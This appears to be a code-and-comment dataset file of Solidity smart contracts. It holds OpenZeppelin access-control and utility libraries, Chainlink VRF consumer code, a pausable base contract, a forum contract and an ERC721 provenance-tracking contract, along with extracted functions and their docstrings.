* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./interfaces/LinkTokenInterface.sol";
import "./VRFRequestIDBase.sol";
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constuctor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.
*/
abstract contract VRFConsumerBase is VRFRequestIDBase {
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBase expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomness the VRF output
*/
function fulfillRandomness(
bytes32 requestId,
uint256 randomness
)
internal
virtual;
/**
* @dev In order to keep backwards compatibility we have kept the user
* seed field around. We remove the use of it because given that the blockhash
* enters later, it overrides whatever randomness the used seed provides.
* Given that it adds no security, and can easily lead to misunderstandings,
* we have removed it from usage and can now provide a simpler API.
*/
uint256 constant private USER_SEED_PLACEHOLDER = 0;
/**
* @notice requestRandomness initiates a request for VRF output given _seed
*
* @dev The fulfillRandomness method receives the output, once it's provided
* @dev by the Oracle, and verified by the vrfCoordinator.
*
* @dev The _keyHash must already be registered with the VRFCoordinator, and
* @dev the _fee must exceed the fee specified during registration of the
* @dev _keyHash.
*
* @dev The _seed parameter is vestigial, and is kept only for API
* @dev compatibility with older versions. It can't *hurt* to mix in some of
* @dev your own randomness, here, but it's not necessary because the VRF
* @dev oracle will mix the hash of the block containing your request into the
* @dev VRF seed it ultimately uses.
*
* @param _keyHash ID of public key against which randomness is generated
* @param _fee The amount of LINK to send with the request
*
* @return requestId unique ID for this request
*
* @dev The returned requestId can be used to distinguish responses to
* @dev concurrent requests. It is passed as the first argument to
* @dev fulfillRandomness.
*/
function requestRandomness(
bytes32 _keyHash,
uint256 _fee
)
internal
returns (
bytes32 requestId
)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER));
// This is the seed passed to VRFCoordinator. The oracle will mix this with
// the hash of the block containing this request to obtain the seed/input
// which is finally passed to the VRF cryptographic machinery.
uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]);
// nonces[_keyHash] must stay in sync with
// VRFCoordinator.nonces[_keyHash][this], which was incremented by the above
// successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).
// This provides protection against the user repeating their input seed,
// which would result in a predictable/duplicate output, if multiple such
// requests appeared in the same block.
nonces[_keyHash] = nonces[_keyHash] + 1;
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
// Nonces for each VRF key from which randomness has been requested.
//
// Must stay in sync with VRFCoordinator[_keyHash][this]
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
* @param _link address of LINK token contract
*
* @dev https://docs.chain.link/docs/link-token-contracts
*/
constructor(
address _vrfCoordinator,
address _link
) {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomness(
bytes32 requestId,
uint256 randomness
)
external
{
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface LinkTokenInterface {
function allowance(
address owner,
address spender
)
external
view
returns (
uint256 remaining
);
function approve(
address spender,
uint256 value
)
external
returns (
bool success
);
function balanceOf(
address owner
)
external
view
returns (
uint256 balance
);
function decimals()
external
view
returns (
uint8 decimalPlaces
);
function decreaseApproval(
address spender,
uint256 addedValue
)
external
returns (
bool success
);
function increaseApproval(
address spender,
uint256 subtractedValue
) external;
function name()
external
view
returns (
string memory tokenName
);
function symbol()
external
view
returns (
string memory tokenSymbol
);
function totalSupply()
external
view
returns (
uint256 totalTokensIssued
);
function transfer(
address to,
uint256 value
)
external
returns (
bool success
);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
)
external
returns (
bool success
);
function transferFrom(
address from,
address to,
uint256 value
)
external
returns (
bool success
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VRFRequestIDBase {
/**
* @notice returns the seed which is actually input to the VRF coordinator
*
* @dev To prevent repetition of VRF output due to repetition of the
* @dev user-supplied seed, that seed is combined in a hash with the
* @dev user-specific nonce, and the address of the consuming contract. The
* @dev risk of repetition is mostly mitigated by inclusion of a blockhash in
* @dev the final seed, but the nonce does protect against repetition in
* @dev requests which are included in a single block.
*
* @param _userSeed VRF seed input provided by user
* @param _requester Address of the requesting contract
* @param _nonce User-specific nonce at the time of the request
*/
function makeVRFInputSeed(
bytes32 _keyHash,
uint256 _userSeed,
address _requester,
uint256 _nonce
)
internal
pure
returns (
uint256
)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
/**
* @notice Returns the id for this request
* @param _keyHash The serviceAgreement ID to be used for this request
* @param _vRFInputSeed The seed to be passed directly to the VRF
* @return The id for this request
*
* @dev Note that _vRFInputSeed is not the seed passed by the consuming
* @dev contract, but the one generated by makeVRFInputSeed
*/
function makeRequestId(
bytes32 _keyHash,
uint256 _vRFInputSeed
)
internal
pure
returns (
bytes32
)
{
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
} | Mint a token count the number of item to mint return startIndex index of first mint return endIndex index of last mint/ | function mint(uint256 count)
public
onlyRole(GENESIS_ROLE)
seedGenerated
returns (uint256 startIndex, uint256 endIndex)
{
require(
tokenCounter.current() + count < MAX_SUPPLY + 1,
"Not enough supply"
);
uint256 firstTokenId = tokenCounter.current();
for (uint256 i = 0; i < count; i++) {
uint256 nextTokenId = firstTokenId + i;
tokenIdToTraits[nextTokenId] = generateRandomTraits(
generateRandomNumber(nextTokenId)
);
tokenCounter.increment();
}
return (firstTokenId, firstTokenId + count);
}
| 333,637 |
./full_match/1/0x82a7b5842085f434c6584A8c44b6A1C15c25a512/sources/contracts/Pool.sol | @inheritdoc IPool/ | function redemptionAvailable(
address account,
uint128 tick,
uint128 redemptionId
) external view returns (uint256 shares, uint256 amount, uint256 sharesAhead) {
Redemption storage redemption = _deposits[account][tick].redemptions[redemptionId];
if (redemption.pending == 0) return (0, 0, 0);
uint128 processedShares;
(shares, amount, , processedShares) = _liquidity.redemptionAvailable(
tick,
redemption.pending,
redemption.index,
redemption.target
);
sharesAhead = redemption.target > processedShares ? redemption.target - processedShares : 0;
| 9,659,233 |
pragma solidity ^0.4.24;
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "./Post.sol";
import "./User.sol";
contract Forum is Ownable {
event UserBanned(address userAddress);
event UserUnbanned(address userAddress);
event PostCreated (address postAddress, string postTitle, address postOwner, uint timestamp);
constructor() public {
owner = msg.sender;
}
function banUser(address _userAddress) public onlyOwner {
emit UserBanned(_userAddress);
}
function unBanUser(address _userAddress) public onlyOwner {
emit UserUnbanned(_userAddress);
}
function createPost(string _postTitle) public {
address newPostAddress = new Post();
// User postCreator = User(msg.sender);
// postCreator.createPost(newPostAddress, _postTitle);
emit PostCreated(newPostAddress, _postTitle, msg.sender, block.timestamp);
}
} | User postCreator = User(msg.sender); postCreator.createPost(newPostAddress, _postTitle); | function createPost(string _postTitle) public {
address newPostAddress = new Post();
emit PostCreated(newPostAddress, _postTitle, msg.sender, block.timestamp);
}
| 6,411,121 |
pragma solidity ^0.4.18;
import "./SecurityTransferAgent.sol";
/** Transfer agent for a security token that does not limit transfers any way */
contract UnrestrictedTransferAgent is SecurityTransferAgent {
function UnrestrictedTransferAgent() {
}
/**
* @dev Checking if transfer can happen, and if so, what is the right amount
*
* @param from The account sending the tokens
* @param to The account receiving the tokens
* @param value The indended amount
* @return The actual amount permitted
*/
function verify(address from, address to, uint256 value) public view returns (uint256 newValue) {
return value;
}
}
| Checking if transfer can happen, and if so, what is the right amount from The account sending the tokens to The account receiving the tokens value The indended amount return The actual amount permitted/ | function verify(address from, address to, uint256 value) public view returns (uint256 newValue) {
return value;
}
| 14,048,282 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.4 <0.8.0;
pragma experimental ABIEncoderV2;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/GSN/Context.sol";
import "https://github.com/vigilance91/solidarity/libraries/LogicConstraints.sol";
import "https://github.com/vigilance91/solidarity/contracts/eventsPausable.sol";
// interface iPausable
// {
// function pause(
// )external;
//
// function unpause(
// )external;
// }
///
/// @title Pausable Abstract Base Contract
/// @author Tyler R. Drury <[email protected]> (www.twitter.com/StudiosVigil) - copyright 20/3/2021
/// @dev Allows derived contracts to implement a contract wide emergency stop
/// mechanism that can be triggered by an authorized account
///
/// inspired by OpenZepplin's Pausable.sol, available here:
/// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/utils/Pausable.sol,
///
/// This contract has been rewritten to implement solidarity's LogicConstrains and PausableEvents,
/// the original MIT license is maintained.
///
/// Vigilance does not claim any ownership of the original source material by OpenZepplin and acknowledges their exclusive rights,
/// in respects to and as outlined by the MIT license.
///
/// As such, this contract is published as free and open source software, as permitted by the MIT license.
/// Vigilance does not profit from the use or distribution of this contract.
///
/// Further modification to this software is permitted,
/// only in respects to the terms specified by the MIT license and must cite the original author, OpenZeppelin,
/// as well as Vigilance
///
/// For more information please visit OpenZeppelin's documentation at:
/// https://docs.openzeppelin.com/contracts/3.x/
///
/// to utilize this functionality, apply modifiers:
/// `whenNotPaused`, `whenPaused`, `pauseAfter` or `unpauseAfer`
/// to functions of derived contracts
///
abstract contract Pausable is Context
{
using LogicConstraints for bool;
using eventsPausable for address payable;
bool private _paused;
/// @dev Initializes contract in unpaused state
constructor(
)internal
{
_paused = false;
}
/// @return {bool} true if the contract is paused, otherwise false
function paused(
)public view returns(
bool
){
return _paused;
}
/// @dev modified function is only callable when contract is NOT paused
modifier whenNotPaused(){
_paused.requireFalse(
"paused"
);
_;
}
/// @dev modified function is only callable when is paused
modifier whenPaused(){
_paused.requireTrue(
"not paused"
);
_;
}
/**
/// @dev execute modified function only if contract is paused, then unpausing after execution
modifier unpauseAfter(){
_paused.requireTrue(
"not paused"
);
_;
_unpause();
}
/// @dev execute modified function only if contract is NOT paused, then pausing after execution
modifier pauseAfter(){
_paused.requireFalse(
"paused"
);
_;
_pause();
}
*/
/// @dev pause, must not already be paused
function _pause(
)internal virtual whenNotPaused
{
_paused = true;
_msgSender().emitPaused();
}
/// @dev unpause, must already be paused
function _unpause(
)internal virtual whenPaused
{
_paused = false;
_msgSender().emitUnpaused();
}
} | unpause, must already be paused | function _unpause(
)internal virtual whenPaused
{
_paused = false;
_msgSender().emitUnpaused();
}
| 7,288,906 |
./full_match/80001/0x290B4e8126bB9D247583BA281aAe77D8659EFC40/sources/project_/contracts/polygon/UniV3Automan.sol | Find current amount of the two tokens in the liquidity position. | function getPositionInfo(
uint256 positionId
) public view returns (PositionInfo memory posInfo) {
posInfo.positionId = positionId;
(
posInfo.token0,
posInfo.token1,
posInfo.fee,
posInfo.tickLower,
posInfo.tickUpper,
posInfo.liquidity,
,
) = positions(positionId);
address pool = Utils.computePoolAddress(
factory,
posInfo.token0,
posInfo.token1,
posInfo.fee
);
(uint160 sqrtPriceX96, , , , , , ) = IUniswapV3PoolState(pool).slot0();
uint160 sqrtLowerPriceX96 = posInfo.tickLower.getSqrtRatioAtTick();
uint160 sqrtUpperPriceX96 = posInfo.tickUpper.getSqrtRatioAtTick();
(posInfo.amount0, posInfo.amount1) = LiquidityAmounts
.getAmountsForLiquidity(
sqrtPriceX96,
sqrtLowerPriceX96,
sqrtUpperPriceX96,
posInfo.liquidity
);
LimitOrder storage order = orderInfo[positionId];
posInfo.owner = order.owner;
posInfo.isZeroForOne = order.isZeroForOne;
posInfo.completed = order.completed;
posInfo.upkeepID = order.upkeepID;
if (posInfo.isZeroForOne) {
posInfo.desiredAmount = LiquidityAmounts.getAmount1ForLiquidity(
sqrtLowerPriceX96,
sqrtUpperPriceX96,
posInfo.liquidity
);
posInfo.desiredAmount = LiquidityAmounts.getAmount0ForLiquidity(
sqrtLowerPriceX96,
sqrtUpperPriceX96,
posInfo.liquidity
);
}
}
| 5,548,569 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
//solhint-disable-next-line
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./LegalEntityVerification.sol";
/**
Features:
-> Manufacturer mints a token representing the product.
-> Hash of the serial number, zip code of the factory will
be included in the Product struct.
-> When the product is given to next entity, the transfer function
will be called and the ownership will be transfered to the next owner.
-> It should be possible to trace the output to its original
manifacturer.
Time |t=0 -> -> t=t
-------------------------------------------------------
Owner|Factory -mints-> A1 -transfer-> A2 -transfer-> A3
//TODO: Redo this part.
Origin of A3: Factory then. You can trace the transfers in the contract data.
//TODO: Refactor that there may be several factories, add functions corresponding to that.
*/
/// @title Provenance tracking system for manifactured items using ERC721-tokens.
/// @author Deniz Surmeli, Doğukan Türksoy
/// @notice Use it only for simulation
/// @dev Contract is a ERC721 implementation.
contract Provenance is ERC721{
/// @notice The production process is serialized, thus we will use this
/// field as a counter.
uint256 public serialId = 0;
/// @notice The deployer of the contract will be the factory. It's the only entity that can mint.
address public factory;
/// @notice Observe that we need to store the deployed address in order to call functions from it.
address public legalEntityContractAddress;
/// @notice For structured information.
struct Product{
bytes32 _serialHash; //hash of the serial id.
uint256 _manufacturerZipCode; //zip code of the manufacturer. In fact, this is a constant.
}
/// @notice Emits when tokens are transferred.
event TokenTransferred(uint256 tokenId,address from,address to);
/// @notice Emits when an owner approves the ownership.
event TokenApproved(uint256 tokenId,address tokenOwner);
event TokenMinted(uint256 tokenId);
mapping(uint256=>Product) products;
/// @notice We use this mapping to track the origins of the products.
mapping(uint256=>address[]) owners;
/// @notice We track that the token is in approval or not.
mapping(uint256=>bool) approvalState;
/// @notice Only addresses that have been approved by state authority can perform actions.
/// @param _address address to be queried.
modifier onlyVerifiedAddress(address _address){
LegalEntityVerification friendContract = LegalEntityVerification(legalEntityContractAddress);
require(friendContract.isVerified(_address),"Only verified addresses can perform actions.");
_;
}
/// @notice Only tokens that have been minted can perform actions.
/// @param _tokenId id of the token.
modifier onlyExistentToken(uint256 _tokenId){
require(ownerOf(_tokenId) != address(0),"Only minted tokens can be transferred.");
_;
}
/// @notice Only tokens that in state of approval can perform actions
/// @param _tokenId id of the token.
modifier onlyNonApprovedToken(uint256 _tokenId){
require(approvalState[_tokenId] == true);
_;
}
/// @notice Only authorized addresses can perform actions.
/// @param _address address to be queried.
modifier onlyAuthorized(address _address){
require(factory == _address,"Only authorized addreses can perform actions.");
_;
}
/// @notice Only the owner of the token can perform actions.
/// @param _tokenId ID of the token to be queried against.
/// @param _address In query address.
modifier onlyOwner(uint256 _tokenId,address _address){
require(ownerOf(_tokenId) == _address,"Only the owner of the token can perform actions.");
_;
}
/// @notice Only approved tokens can be subject to actions.
/// @param _tokenId ID of the token to be queried against.
/// @param _address In query address.
modifier onlyApprovedToken(uint256 _tokenId,address _address){
require(ownerOf(_tokenId) == _address,"Only the owner of the token can perform actions.");
require(approvalState[_tokenId] == false,"You can only perform operations on approved tokens.");
_;
}
/// @notice Constructor of the Provenance system.
/// @param name_ name of the contract,factory name.
/// @param symbol_ symbol of the contract,factory symbol.
/// @param auxAddress Address of the helper contract, LegalEntityVerification.
constructor(string memory name_,string memory symbol_,address auxAddress) ERC721(name_,symbol_) {
factory = msg.sender;
legalEntityContractAddress = auxAddress;
}
/// @notice Ownership approval function. Observe that we are going a bit offroad from ERC-721 Standard here.
/// @param _tokenId Token that will be approved.
function approveOwnership(uint256 _tokenId) onlyOwner(_tokenId,msg.sender) onlyNonApprovedToken(_tokenId) public{
owners[_tokenId].push(msg.sender);
approvalState[_tokenId] = false;
emit TokenApproved(_tokenId,msg.sender);
}
/// @notice Transfers the token with _tokenId from _from to _to.
/// @param _from Address that is transfering.
/// @param _to Address to be transfered.
/// @param _tokenId ID of the token to be transfered.
function transferToken(address _from,address _to, uint256 _tokenId) onlyOwner(_tokenId,_from) onlyApprovedToken(_tokenId,_from) onlyVerifiedAddress(_to) onlyExistentToken(_tokenId) public {
require(_to != ownerOf(_tokenId));
_transfer(_from,_to,_tokenId);
approvalState[_tokenId] = true;
